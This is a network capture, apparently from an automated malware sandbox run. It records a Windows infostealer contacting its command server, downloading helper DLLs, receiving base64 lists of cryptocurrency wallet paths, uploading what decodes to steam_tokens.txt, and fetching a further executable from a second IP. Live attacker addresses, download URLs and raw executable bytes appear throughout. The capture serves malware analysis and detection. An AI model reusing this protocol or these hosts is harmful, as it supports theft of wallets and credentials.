00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 27, 2024 03:19:15.835592985 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:16.050724983 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 27, 2024 03:19:17.710216999 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:17.908221006 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 27, 2024 03:19:18.272639036 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 03:19:18.450859070 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 27, 2024 03:19:18.703785896 CEST	198	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGD Host: 85.28.47.31 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:19:19.470786095 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:19.536189079 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"wallets------CBGCGDBKEGHIEBGDBFHD--
Jul 27, 2024 03:19:19.715862989 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 27, 2024 03:19:19.719995975 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"ybncbhylepme------JJKJDAEBFCBKECBGDBFC--
Jul 27, 2024 03:19:19.927073002 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 136 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 63 32 39 72 59 53 39 79 59 57 35 6b 62 32 30 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvc29rYS9yYW5kb20uZXhlfDB8MHxTdGFydHw0fA==
Jul 27, 2024 03:19:24.471048117 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="file"------JEBKJDAFHJDGDHJKKEGI--
Jul 27, 2024 03:19:25.037200928 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:25.104505062 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="message"files------HJJJJKEHCAKFBFHJKEHC--
Jul 27, 2024 03:19:25.294497967 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:25.316010952 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJKKKJJJKJKFHJJJJECB--
Jul 27, 2024 03:19:25.908663988 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	185.215.113.16	80	6880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:19.941524029 CEST	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 03:19:20.688822031 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:20 GMT Content-Type: application/octet-stream Content-Length: 1910272 Last-Modified: Sat, 27 Jul 2024 00:39:18 GMT Connection: keep-alive ETag: "66a441b6-1d2600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELAfK@Lv@WkKK @.rsrc@.idata @ +@nvdlapfi1@gasiylgrK@.taggant0K"@
Jul 27, 2024 03:19:20.688838959 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 03:19:20.688853025 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 03:19:20.688877106 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 27, 2024 03:19:20.688890934 CEST	1236	IN	Data Raw: 51 fc fa 9a 12 12 e8 91 9b db ee 0e c2 73 e5 9a 04 13 95 d6 40 ae e5 2a 0a 3b e5 96 b8 12 64 92 13 17 ea 49 03 d7 32 8b 27 af fb 2d 52 ab 3b 13 1f 90 c5 2a 6a 17 eb 36 b4 59 a4 f2 d3 bb c8 09 1a fb c8 d6 b0 b7 c4 88 73 8a 88 9d c6 17 eb f2 8d 59 Data Ascii: Qs@;dI2'-R;j6YsYL+ERcZoCm!@u$W5`*7-Q>R~)YW[K?URdE^Gumk[$5
Jul 27, 2024 03:19:20.688906908 CEST	1236	IN	Data Raw: 52 7b f2 bf 0e 80 82 86 7b 70 5b 34 fc a4 72 96 a5 5b 09 08 3a ac b9 69 bd 93 8b 96 23 e6 a5 6d 6f db 7a d6 b9 37 f5 1a e8 79 b8 c5 d2 00 05 54 5e b7 af 0b ba 0f f6 06 79 37 e3 e1 08 76 58 38 58 83 99 26 f3 d1 84 9c ae 75 ef d2 b0 5b e9 92 9f 36 Data Ascii: R{{p[4r[:i#moz7yT^y7vX8X&u[6!K3FY/qV!@hRlD'js0K}ik{1XbXA:CdADfs+/N/z_=e
Jul 27, 2024 03:19:20.688922882 CEST	1236	IN	Data Raw: 7a 52 06 c2 12 b7 be be af f7 22 3c a0 b7 bf ed 25 5b 47 02 31 2a 52 95 7a 23 de b2 be 48 cb a6 e6 2b 52 50 e0 fe 51 0b 5e 97 0c f2 e1 89 f6 b2 8a 8d a1 c3 ee 93 19 d4 2b f3 bb d5 2d c2 fa 79 56 e3 4d ea b5 77 a4 61 ae d3 ba ae 60 8e 76 37 e3 d0 Data Ascii: zR"<%[G1*Rz#H+RPQ^+-yVMwa`v7@#fbc+?Zr2mxHsE]X{\|TA$"Pmr{p&N)ZjAHro'it]+<3zn5fVK(R/
Jul 27, 2024 03:19:20.688957930 CEST	1236	IN	Data Raw: 5b 72 77 f8 57 78 ed 7a 49 fb f4 c2 07 f3 03 02 e6 4b ed 2a f5 2d af 25 9c 47 84 06 5b a0 4c d5 97 49 72 c5 15 bd d0 71 da ba f8 f1 b7 f1 a7 7c 8d 44 e6 01 d2 0a 49 42 d5 b9 3b 76 5c cf bd de 03 6a a3 a4 bd 67 ee 36 4b 06 da a7 ab 94 59 5c 36 e4 Data Ascii: [rwWxzIK-%G[LIrq\|DIB;v\jg6KY\6S8o]RJS`_Mphq#e_{L }ceVW5eUZ{[t\S]%DI@015dF.IlmOG<rBY;
